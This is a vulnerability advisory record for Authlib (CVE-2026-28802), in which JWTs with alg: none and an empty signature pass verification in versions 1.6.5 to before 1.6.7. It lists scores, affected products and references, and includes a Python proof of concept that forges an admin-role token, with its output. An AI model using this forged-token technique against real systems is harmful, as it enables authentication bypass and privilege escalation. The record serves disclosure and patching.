{"id":"CVE-2026-28802","aliases":["CVE-2026-28802","GHSA-7wc2-qxgw-g8gg","PYSEC-2026-2118"],"related":[],"kind":"vulnerability","state":"published","title":"Authlib: Setting `alg: none` and a blank signature appears to bypass signature verification","summary":"Authlib is a Python library which builds OAuth and OpenID Connect servers. From version 1.6.5 to before version 1.6.7, previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.. This issue has been patched in version 1.6.7.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Authlib is a Python library which builds OAuth and OpenID Connect servers. From version 1.6.5 to before version 1.6.7, previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.. This issue has been patched in version 1.6.7.","source":"cvelist"},{"lang":"en","text":"### Summary\nAfter upgrading the library from 1.5.2 to 1.6.0 (and the latest 1.6.5) it was noticed that previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected. \n\n### Details\nIt was likely introduced in this commit:\nhttps://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75\n\n### PoC\n```\nfrom authlib.jose import jwt, JsonWebKey\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.backends import default_backend\nimport json\nimport base64\n\n\ndef create_jwks():\n    private_key = rsa.generate_private_key(\n        public_exponent=65537, key_size=2048, backend=default_backend()\n    )\n    public_pem = private_key.public_key().public_bytes(\n        encoding=serialization.Encoding.PEM,\n        format=serialization.PublicFormat.SubjectPublicKeyInfo,\n    )\n    jwk = JsonWebKey.import_key(public_pem).as_dict()\n    jwk[\"kid\"] = \"test-key-001\"\n    jwk[\"use\"] = \"sig\"\n    jwk[\"alg\"] = \"RS256\"\n    jwks = {\"keys\": [jwk]}\n    return jwks\n\n\ndef create_forged_token_with_alg_none():\n    forged_header = {\"alg\": \"none\"}\n    forged_payload = {\n        \"sub\": \"user123\",\n        \"role\": \"admin\",\n        \"iat\": 1735603200,\n    }\n\n    header_b64 = base64.urlsafe_b64encode(\n        json.dumps(forged_header).encode(\"utf-8\")\n    ).rstrip(b\"=\")\n\n    payload_b64 = base64.urlsafe_b64encode(\n        json.dumps(forged_payload).encode(\"utf-8\")\n    ).rstrip(b\"=\")\n\n    forged_token = header_b64 + b\".\" + payload_b64 + b\".\"\n    return forged_token\n\n\njwks = create_jwks()\nforged_token = create_forged_token_with_alg_none()\ntry:\n    claims = jwt.decode(forged_token, jwks)\n    print(f\"VULNERABLE: Forged token (alg:none) accepted: role={claims['role']}\")\nexcept Exception as e:\n    print(f\"SECURE: Token rejected - {type(e).__name__}\")\n```\n\nOutput:\n```\npip install -q authlib==1.5.2\npython3 authlib_alg_none_vulnerability.py \nSECURE: Token rejected - BadSignatureError\npip install -q authlib==1.6.5\npython3 authlib_alg_none_vulnerability.py \nVULNERABLE: Forged token (alg:none) accepted: role=admin\n```\n\n### Impact\nUsers of the library are likely not aware that they now need to check the provided headers and disallow `alg: none` usage, it is not obvious from the release notes that any action needs to be taken. As a best-practice, the library should adopt a 'secure by default' stance and default to rejecting it and allow the application to provide an algorithm whitelist.\n\nApplications using this library for authentication or authorization may accept malicious, forged JWTs, leading to:\n- Authentication bypass\n- Privilege escalation\n- Unauthorized access\n- Modification of application data","format":"markdown","source":"ghsa"},{"lang":"es","text":"Authlib es una librería de Python que construye servidores OAuth y OpenID Connect. Desde la versión 1.6.5 hasta antes de la versión 1.6.7, pruebas anteriores que implicaban pasar un JWT malicioso que contenía alg: none y una firma vacía estaban pasando el paso de verificación de firma sin ningún cambio en el código de la aplicación cuando se esperaba un fallo. Este problema ha sido parcheado en la versión 1.6.7.","source":"nvd"}],"published":"2026-03-04T20:55:47.000Z","modified":"2026-09-10T13:18:02.380Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","score":7.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","score":7.7,"rating":"HIGH"},{"scorer":"redhat-SADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-347"],"affected":[{"ranges":[{"version":">= 1.6.5, < 1.6.7","status":"affected"}],"vendor":"authlib","product":"authlib","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1774417022","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2.6","package":"ansible-automation-platform-26/lightspeed-chatbot-rhel9","cpe":"cpe:/a:redhat:ansible_automation_platform:2.6::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1773971077","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat Quay 3.10","package":"quay/quay-rhel8","cpe":"cpe:/a:redhat:quay:3.10::el8","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1773771962","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat Quay 3.12","package":"quay/quay-rhel8","cpe":"cpe:/a:redhat:quay:3.12::el8","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1775169219","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat Quay 3.15","package":"quay/quay-rhel8","cpe":"cpe:/a:redhat:quay:3.15::el8","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1779204086","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat Quay 3.16","package":"quay/quay-rhel9","cpe":"cpe:/a:redhat:quay:3.16::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1773936323","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat Quay 3.9","package":"quay/quay-rhel8","cpe":"cpe:/a:redhat:quay:3.9::el8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Satellite 6","package":"satellite/foreman-mcp-server-rhel9","cpe":"cpe:/a:redhat:satellite:6","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"1.6.5","status":"affected","fixed":"1.6.7"}],"ecosystem":"PyPI","package":"authlib","purl":"pkg:pypi/authlib","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"1.6.5","fixed":"1.6.7"}],"vendor":"authlib","product":"authlib","cpe":"cpe:2.3:a:authlib:authlib:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"1.6.5","status":"affected","fixed":"1.6.7"}],"ecosystem":"PyPI","package":"authlib","purl":"pkg:pypi/authlib","source":"pysec"}],"references":[{"url":"https://github.com/authlib/authlib/security/advisories/GHSA-7wc2-qxgw-g8gg","tags":["evidence","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/authlib/authlib/commit/b87c32ed07b8ae7f805873e1c9cafd1016761df7","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-28802","tags":["vdb-entry","web","x-refsource-redhat"],"sources":["cvelist","nvd","pysec"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445120","tags":["issue-tracking","report","x-refsource-redhat"],"sources":["cvelist","nvd","pysec"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-28802.json","tags":["web","x-sadp-csaf-vex"],"sources":["cvelist","nvd","pysec"]},{"url":"https://access.redhat.com/errata/RHSA-2026:6309","tags":["advisory","vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd","pysec"]},{"url":"https://access.redhat.com/errata/RHSA-2026:5665","tags":["advisory","vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd","pysec"]},{"url":"https://access.redhat.com/errata/RHSA-2026:4942","tags":["advisory","vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd","pysec"]},{"url":"https://access.redhat.com/errata/RHSA-2026:6568","tags":["advisory","vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd","pysec"]},{"url":"https://access.redhat.com/errata/RHSA-2026:19375","tags":["advisory","vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd","pysec"]},{"url":"https://access.redhat.com/errata/RHSA-2026:5168","tags":["advisory","vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28802","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/authlib/authlib","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2026-03-06T16:00:04.267Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-28802","url":"https://www.cve.org/CVERecord?id=CVE-2026-28802","licence":"CVE Terms of Use","modified":"2026-09-10T12:05:07.749Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-7wc2-qxgw-g8gg","url":"https://github.com/advisories/GHSA-7wc2-qxgw-g8gg","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:38.043Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-28802","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28802","licence":"Public domain","modified":"2026-09-10T13:18:02.380Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2118","url":"https://osv.dev/vulnerability/PYSEC-2026-2118","licence":"CC-BY-4.0","modified":"2026-07-13T07:15:15.458Z"}],"updatedAt":"2026-11-25T22:59:15.391Z","epss":{"score":0.00503,"percentile":0.44622,"date":"2026-12-02T12:00:21.000Z"}}